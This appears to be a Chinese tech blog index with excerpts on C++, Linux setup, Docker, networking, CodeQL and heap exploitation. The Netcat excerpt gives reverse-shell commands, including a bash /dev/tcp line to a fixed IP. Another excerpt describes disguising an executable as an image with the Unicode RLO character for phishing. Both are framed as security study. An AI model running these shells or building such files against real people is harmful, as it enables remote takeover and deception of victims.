1.如果注册表项下面有"SystemComponent"字段并且值等于1时,表示这是个系统组件,而不是应用软件。2.如果注册表项下面有"ParentKeyName"字段则表示该项是某个分类下的子项,一般情况补丁才会有"ParentKeyName"字段。比如这个&qu ...
C++ Typedef用法
C++ Typedef用法
用途一:
定义一种类型的别名,而不只是简单的宏替换。可以用作同时声明指针型的多个对象。比如:
char* pa, pb; // 这多数不符合我们的意图,它只声明了一个指向字符变量的指针, 和一个字符变量;
以下则可行:
typedef char* PCHAR;PCHAR pa, pb;
这种用法很有用,特别是char* pa, pb的定义,初学者往往认为是定义了两个字符型指针,其实不是,而用typedef char* PCHAR就不会出现这样的问题,减少了错误的发生。
用途二:
用在旧的C代码中,帮助struct。以前的代码中,声明struct新对象时,必须要带上struct,即形式为: struct 结构名对象名,如:
struct tagPOINT1 { int x; int y; };struct tagPOINT1 p1;
而在C++中,则可以直接写:结构名对象名,即:tagPOINT1 p1;
typedef struct tagPOINT{ int x; int y;}POINT; ...
Linux安装java环境
通用系统安装
下载完成后解压到指定文件下
先创建java文件目录,如果已存在就不用创建mkdir -p /usr/local/java
解压到java文件目录
tar -vzxf jdk-8u161-linux-x64.tar.gz -C /usr/local/java/
添加环境变量,编辑配置文件
vi /etc/profile
在文件最下方或者指定文件添加
export JAVA_HOME=/usr/local/java/jdk1.8.0_161export CLASSPATH=$:CLASSPATH:$JAVA_HOME/lib/export PATH=$PATH:$JAVA_HOME/bin
保存退出
source /etc/profile
最后测试
java -version
可以看到一下信息则表示配置成功
java version “1.8.0_161”Java™ SE Runtime Environment (build 1.8.0_161-b12)Java HotSpot™ 64-Bit Server VM (build 25.161-b12 ...
Netcat反弹Shell详解
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
Windows
进入下载地址下载文件https://eternallybored.org/misc/netcat/
将文件夹中的对应可执行文件复制到C:\Windows\System32的文件夹下(有32位版和64位版)
直接打开cmd输入nc XXXXXX执行就好
Linux
直接使用nc命令就好
自己常用的命令
Windows
nc -e cmd.exe -d IP port(靶机)
Linux
nc -lvvp 8080(监听机) 监听8080端口nc IP Port (受害者机) IP为监听机的IP 端口为监听机开的端口bash -i >& /dev/tcp/3.16.30.73/1231 0>&1(受害者机)
主要参数
#无命令行界面,使用后台模式-d#程序重定向 -e#源路由跳跃点, 不超过8-g#源路由指示器: 4, 8, 12, ...-G #获取帮助 ...
Docker笔记
安装docker
sudo apt install docker.io
问题解决
0x01 运行docker-compose 命令报错解决办法
-bash: docker-compose: command not found
安装
先安装 pip ,检查是否已有: pip -V
报错
-bash: pip: command not found
安装 pip
sudo apt-get install epel-releasesudo apt-get install python-pip
升级
pip install --upgrade pip
安装Docker-Compose
pip install docker-compose
检查是是否成功
docker-compose -version
0x02 使用docker-compose报错找不到 ssl_match_hostname解决办法
进入backports模块路径
cd /usr/local/lib/python2.7/dist-packages
复制整个包到transport包路径下
cp - ...
如何释放存在EXE上的资源文件
添加资源到项目中
直接参考图片就行
生成EXE文件
下载ResourceHacker程序
把程序导入ResourceHacker中
使用FindResource函数提取PE资源
类型为SETIMG
LPCWSTR b = _T("SETIMG");HMODULE hLocalHostModule = GetModuleHandleA(NULL);HRSRC hRsrc = FindResource(hLocalHostModule, (LPCTSTR)106, b);
利用Unicode实现钓鱼文件制作
关于Unicode
Unicode(统一码、万国码、单一码)是计算机科学领域里的一项业界标准,包括字符集、编码方案等。Unicode 是为了解决传统的字符编码方案的局限而产生的,它为每种语言中的每个字符设定了统一并且唯一的二进制编码,以满足跨语言、跨平台进行文本转换、处理的要求。
简单来说,它是一种编码格式,满足了以前ASCII码无法表示中文、日文等其他语言的缺陷,但是由此引发的安全问题也很多,比如我们今天介绍的Unicode控制符反转伪装后缀名漏洞。
实现方法
替换图标
就是把exe的图标替换成图片的默认图标,或者插入一些羞羞的图片或者QQ图标之类的。
插入控制符
右键选择重命名,删除原文件名,再右键单击,选择“插入Unicode控制符”,选择RLO
构建文件名
需要用两部来制作
gpj.exe
Ascotb
效果如下图
c++传入参数的问题
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
int tex (int a,int b)
值传递:有一个形参向函数所属的栈拷贝数据的过程,如果值传递的对象是类对象或是大的结构体对象,将耗费一定的时间和空间。
int tex(int *a,int *b)
指针传递:同样有一个形参向函数所属的栈拷贝数据的过程,但拷贝的数据是一个固定为4字节的地址。
int tex(int &a,int &b)
引用传递:同样有上述的数据拷贝过程,但其是针对地址的,相当于为该数据所在的地址起了一个别名。
效率上讲,指针传递和引用传递比值传递效率高。一般主张使用引用传递,代码逻辑上更加紧凑、清晰。
引用传递做函数参数”是C++的特性,C语言不支持。
tip:
如果是值的传递,是拷贝过去的就是在用的函数中修改了那个值也不会影响到原先的值
若果是引用的传递,虽然是数据拷贝但是在用的函数中修改了那个值是会影响到原先的值
子网掩码的一些补充
10.0.0.0/8划分为8个子网
因为10.0.0.0/8子网掩码为255.0.0.0 子网的范围从10.0.0.0-10.255.255.255
那么网络位位数增加3位,那么子网掩码为:255.224.0.0,那么:
子网1:即10.0.0.0/11,范围:10.0.0.0-10.31.255.255
子网2:即10.32.0.0/11,范围:10.32.0.0-10.63.255.255
子网3:即10.64.0.0/11,范围:10.64.0.0-10.95.255.255
子网4:即10.96.0.0/11,范围:10.96.0.0-10.127.255.255
子网5:即10.128.0.0/11,范围:10.128.0.0-10.159.255.255
子网6:即10.160.0.0/11,范围:10.160.0.0-10.191.255.255
子网7:即10.192.0.0/11,范围:10.192.0.0-10.223.255.255
子网8:即10.224.0.0/11,范围:10.224.0.0-10.255.255.255
范围IP的头尾分别是网络地址和广 ...
C++中栈和队列
一.解释:
1.栈
栈是一种特殊的线性表。其特殊性在于限定插入和删除数据元素的操作只能在线性表的一端进行。如下所示:
结论:后进先出(Last In First Out),简称为LIFO线性表。
举个例子:你在洗碗把洗好的碗编号为依次摞起来,号在最下面,向上编号依次增加,然后再从上到下把碗放好,这样的话,先被洗的碗,就后被放好。
2.队列
队列(Queue)也是一种运算受限的线性表,它的运算限制与栈不同,是两头都有限制,插入只能在表的一端进行(只进不出),而删除只能在表的另一端进行(只出不进),允许删除的一端称为队尾(rear),允许插入的一端称为队头 (Front),如图所示:
结论:队列的操作原则是先进先出的,所以队列又称作FIFO表(First In First Out)
举个例子:超市付账的时候排队,先来的先排在最前面,后来的后排在队伍最后面,付账时排在队伍前面的先付账,排在后面的后付账。
二.用法
1.头文件
#include<queue>// 队列 #include<stack>//栈
2.定义方式
stack<int> s;//参 ...
TCP/IP
在2018/12/15日重构,原转载文章以删除
在2019/1/11日更新
网络协议的分层以及传输流程
关于四层网络协议在Wireshark中对应的位置
OSI中的层
功能
TCP/IP协议族
7 应用层
文件传输,电子邮件,文件服务,虚拟终端
TFTP,HTTP,SNMP,FTP,SMTP,DNS,Telnet 等等
6 表示层
数据格式化,代码转换,数据加密
没有协议
5 会话层
解除或建立与别的接点的联系
没有协议
4 传输层
提供端对端的接口
TCP,UDP
3 网络层
为数据包选择路由
IP,ICMP,OSPF,EIGRP,IGMP,ARP
2 数据链路层
传输有地址的帧以及错误检测功能
SLIP,CSLIP,PPP,MTU
1 物理层
以二进制数据形式在物理媒体上传输数据
ISO2110,IEEE802,IEEE802.2
一个包传输的过程如下图
动图如下
TCP和UDP的区别?
手机的主要功能只有两个–电话和短信,这两种方式的本质差别就是,打电话的时候要先“建立连接”(拨号),而短信不需要,建立连接需要花费一些时间,但也 ...
Windows漏洞分析
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
阿巴阿巴
准备工作
两台机器网络必须联通,并且被调试的机器关闭所有的防火墙
调试的机器需要在Microsoft Store中下载安装WinDbg Preview
配置环境
虚拟机
首先需要在虚拟机中设置串口,如下图
进入需要被调试的机器,创建启动选项卡并且设置开机选择的方式等待时间为10秒(不设置也行,这样设置是为了区分
bcdedit /copy {current} /d "KernelDebug"bcdedit /timeout 10
重启机器进入我们设置好的选项卡
运行如下命令
#关闭强制数字签名bcdedit -set loadoptions DDISABLE_INTEGRITY_CHECKS#开启系统测试模式#关闭时使用bcdedit /set testsigning offbcdedit /set testsigning on#开启调试功能bcdedit /deb ...
CodeQL学习笔记
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
关于搭建就不写了,网上太多了,内容大部分都来着互联网,我只是做个记录,方便自己查询
基本查询结构
为了使用CodeQL进行定制分析,我们可以通过自己编写查询来实现查找漏洞或错误。CodeQL的查询类型有:
告警查询:突出显示代码中特定位置的问题的查询。
路径查询:代码中source和sink之间信息流的查询。
用CodeQL编写的查询文件扩展名为.ql,并包含一个select子句。
import <language> /* 导入对应的语言包 *//* 可能存在的 一些谓词 类的设置 */from /* 声明变量等 */where /* 设置逻辑表达式 */select /* 打印结果 */
CodeQL主要使用逻辑连接词(如and、 or、 not), 限定词(如forall 、exists), 还有谓词(predicates)等重要逻辑概念。同时CodeQL也提供了递归的支持和聚合(如count、 ...
Linux堆溢出总结(0x02)
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
缓冲了2个月重新捡起来,有些地方还是没太懂 看来还是二次搁浅了
关于几个知识点
我们在进行堆学习的时候那么就是主要针对的是Linux的动态链接库也就是glibc,但是由于一个系统只存在一个glibc,我们要是进行切换的话会很麻烦,所以下面记几个知识点
libc-database
有一些PWN题故意不给libc文件,但是有泄露地址,libc database可以利用泄露的地址来确定服务器使用的libc。
git clone https://github.com/niklasb/libc-databasecd libc-database./get all #下载全部libc文件./get Ubuntu #下载Ubuntu所有libc文件
程序会自动在ubuntu网站上下载相关的libc文件,存储到./db文件夹下
glibc-all-in-one
里面有对libc的库,官方文档听清楚的我就不概述了
git clo ...